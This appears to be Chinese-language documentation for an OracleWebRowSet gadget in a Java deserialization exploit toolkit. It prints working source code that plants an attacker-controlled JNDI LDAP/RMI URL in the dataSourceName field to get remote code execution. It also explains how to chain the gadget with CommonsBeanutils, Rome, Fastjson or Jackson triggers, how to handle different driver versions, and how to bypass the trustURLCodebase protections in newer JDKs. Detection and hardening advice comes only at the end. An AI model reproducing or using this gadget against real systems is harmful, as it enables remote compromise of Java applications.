- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
oracle(目标 classpath 需存在 Oracle JDBC 驱动ojdbc*.jar,其中包含oracle.jdbc.rowset.OracleWebRowSet) - 实现:
com.ar3h.chains.common.Gadget(直接实现,无基类)
构造一个 oracle.jdbc.rowset.OracleWebRowSet 实例,并把它的 dataSourceName 字段设置为攻击者可控的 JNDI URL。当链上游触发其 getConnection()(属性名 connection)getter 时,Oracle 的 RowSet 内部会用 dataSourceName 发起 InitialContext().lookup(...),从而完成 JNDI 注入 → 远程加载恶意工厂类 → RCE。属于典型的「getter 触发型 JNDI sink」,位于链尾。
@GadgetTags(tags={"DataSourceChains", "Getter", "END"}),nextTags 与 excludes 均为空。
- 入口
tags:DataSourceChains—— 可承接DataSourceWrapperChain的产物(如 DWrap 声明nextTags={"DataSourceChains"},用 SpringJdkDynamicAopProxy把 DataSource 包一层动态代理再喂给本 gadget)。Getter—— 表示本 gadget 是一个「被 getter 调用触发」的环,任何能在反序列化时调用目标对象任意属性 getter 的上游都可驱动它(如CommonsBeanutils1的BeanComparator、Rome、Fastjson/Jackson的 bean 反射)。END—— 终端 sink,其后不再衔接其它 gadget(故nextTags为空)。
- 衔接
nextTags:无(链尾)。 excludes:无。
本类直接实现 Gadget,逻辑集中在 getObject() 与 invoke()。
@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
description="oracle.jdbc.rowset.OracleWebRowSet\n需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好",
dependencies={"oracle"})
public class OracleWebRowSet implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
public String jndiUrl = "ldap://127.0.0.1:1389/x";getterMethodName="getConnection"/getterPropertyName="connection":写死了「触发方法」与「触发属性」。二者一一对应(JavaBean 规范中属性connection的 getter 即getConnection),供上游 getter gadget 精确调用。jndiUrl:唯一的@Param,默认ldap://127.0.0.1:1389/x,即恶意 JNDI 服务地址。
public Object getObject() throws Exception {
Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleWebRowSet", new Object[0]);
Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl); // ① 关键:注入 JNDI 地址
Vector<String> v1 = new Vector<String>();
v1.add(0, "111");
try {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
Reflections.setFieldValue(datasource, "monitorLock", null); // ② 兼容不同驱动版本
}
catch (Exception e) {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
}
return datasource;
}- ① 核心注入点:反射实例化
oracle.jdbc.rowset.OracleWebRowSet(其继承链上的BaseRowSet持有dataSourceName字段),把该字段设为jndiUrl。Oracle RowSet 的getConnection()在dataSourceName != null时会走new InitialContext().lookup(dataSourceName)分支——这正是 JNDI 注入的落点。整个类没有直接调用getConnection,触发权交给上游(见invoke)。 - ② 状态占位与版本兼容:
metaData、matchColumnNames、matchColumnIndexes被填入哑值("111"/ 含一个元素的Vector),用于规避对象在序列化/反序列化或 getter 路径上因内部字段为null而抛异常,保证执行流能顺利抵达getConnection。monitorLock置null的调用被单独放进try:不同版本的ojdbc中该字段可能不存在,抛异常时catch分支重设其余字段并吞掉异常继续返回,从而兼容 ojdbc6/ojdbc8 等多个驱动版本。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class); // 目标可当作 DataSource 处理
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 告知上游要调用的方法
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection"); // 告知上游要读取的属性名
return this.getObject();
}- 本 gadget 作为链尾,
invoke不调用chain.doCreate(context)(无内层对象),只向GadgetContext写入三条「触发契约」,再返回getObject()造好的OracleWebRowSet实例:GETTER_PARAM_NAME_KEY="connection":上游 getter gadget(如 CommonsBeanutils1 的BeanComparator)据此对目标对象执行PropertyUtils.getProperty(obj, "connection"),即调用getConnection(),反序列化时才真正引爆 JNDI。SPECIAL_METHOD_NAME_KEY="getConnection":为需要显式指定触发方法名的上游(非标准 bean 反射路径)提供方法名。SUPER_CLASS_NAME_KEY=DataSource.class:声明目标可按javax.sql.DataSource处理,便于用 DWrap(SpringJdkDynamicAopProxy)把它包成 DataSource 动态代理,规避 Jackson 等直接调用 DataSource 时的不稳定问题。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndi地址 | JNDI lookup 地址,形如 [rmi|ldap]://host:port/obj |
ldap://127.0.0.1:1389/x |
无(自由填写) |
-
依赖:需目标 classpath 含 Oracle JDBC 驱动(
ojdbc6/ojdbc7/ojdbc8等),类oracle.jdbc.rowset.OracleWebRowSet才存在。try/catch对monitorLock的兼容处理即为吞掉不同驱动版本字段差异导致的异常。 -
触发前提:这是一个「getter sink」,自身不主动触发,必须由上游在反序列化中调用其
getConnection()。description明确提示:oracle.jdbc.rowset.OracleWebRowSet / 需要 Getter 触发,fj(Fastjson)可能触发不到 getConnection 就退出了,用 cb(CommonsBeanutils)最好。
原因:Fastjson/Jackson 的 bean 反射可能因属性遍历顺序或异常提前中断而到不了
getConnection;而 CommonsBeanutils 的BeanComparator通过GETTER_PARAM_NAME_KEY精确指定属性名connection,能稳定命中。 -
最终效果:JNDI 注入。经典利用为 LDAP/RMI 引用注入远程恶意
ObjectFactory实现 RCE;受高版本 JDK JNDI 防护(com.sun.jndi.ldap/rmi.object.trustURLCodebase=false、JDK 8u191+/11.0.1+ 默认关闭远程 codebase)限制时,需配合本地工厂类(如 TomcatBeanFactory、Groovy 等)或 return-object 绕过手法。 -
与同目录同族 sink(OracleCachedRowSet、OracleFilteredRowSet、OracleJoinRowSet、OracleJDBCRowSet)逻辑几乎一致,仅实例化的具体 RowSet 类不同,可视目标可用类互相替换。
usedInChains 为空 —— 自由构件,未直接出现在 51 条预设链中。可按 tag/nextTag 手动组合:任一 nextTags 含 Getter 或 DataSourceChains 的上游 + 本 gadget 作 END 收尾。典型组合:
[CommonsBeanutils1, OracleWebRowSet](Java 原生反序列化 → BeanComparator getter 触发,最稳,作者推荐)。[Rome1/Rome2, OracleWebRowSet]、[Fastjson/Jackson (ToString/Native), OracleWebRowSet](后者稳定性差,见上)。[..., DWrap, OracleWebRowSet](Spring AOP 动态代理包裹 DataSource,解决 Jackson 调用不稳定问题)。
- 上游(Getter 触发源):CommonsBeanutils1(首选)、JdbcRowSetImpl(同类 getter-JNDI 思路,JDK 自带无需 oracle 依赖)、Rome/Fastjson/Jackson 系列。
- 上游(DataSource 包装):DWrap(
DataSourceWrapperChain→nextTags=DataSourceChains)。 - 同族 sink:OracleCachedRowSet、OracleFilteredRowSet、OracleJoinRowSet、OracleJDBCRowSet,以及其它数据源 JNDI sink(
MysqlDataSource、DruidDataSource、C3p0DataSource、Tomcat/Common DBCP DataSource等)。
- 检测特征:
- 序列化流/反序列化目标中出现
oracle.jdbc.rowset.OracleWebRowSet(及同族Oracle*RowSet)类名,且其dataSourceName为外部ldap:///rmi://URL。 - 应用日志或 APM 中出现由 RowSet
getConnection触发的javax.naming.InitialContext.lookup调用、指向外部主机的 LDAP/RMI 出站连接。 - 常与上游
BeanComparator/PriorityQueue/Rome/Fastjson 反序列化指纹同时出现。
- 序列化流/反序列化目标中出现
- 加固建议:
- 对反序列化入口启用类白名单(如 JEP 290
ObjectInputFilter),拒绝oracle.jdbc.rowset.*RowSet、com.sun.rowset.JdbcRowSetImpl、javax.sql.DataSource代理等非业务类。 - 升级 JDK 并确认
com.sun.jndi.ldap.object.trustURLCodebase/com.sun.jndi.rmi.object.trustURLCodebase保持默认false,禁止远程 codebase 加载。 - 网络侧限制业务进程对外发起 LDAP/RMI(389/1389/1099 等)连接;非必要时从 classpath 移除或收敛 Oracle JDBC 驱动版本。
- 避免将不可信数据用于任何
RowSet/DataSource的dataSourceName/JNDI lookup 名称。
- 对反序列化入口启用类白名单(如 JEP 290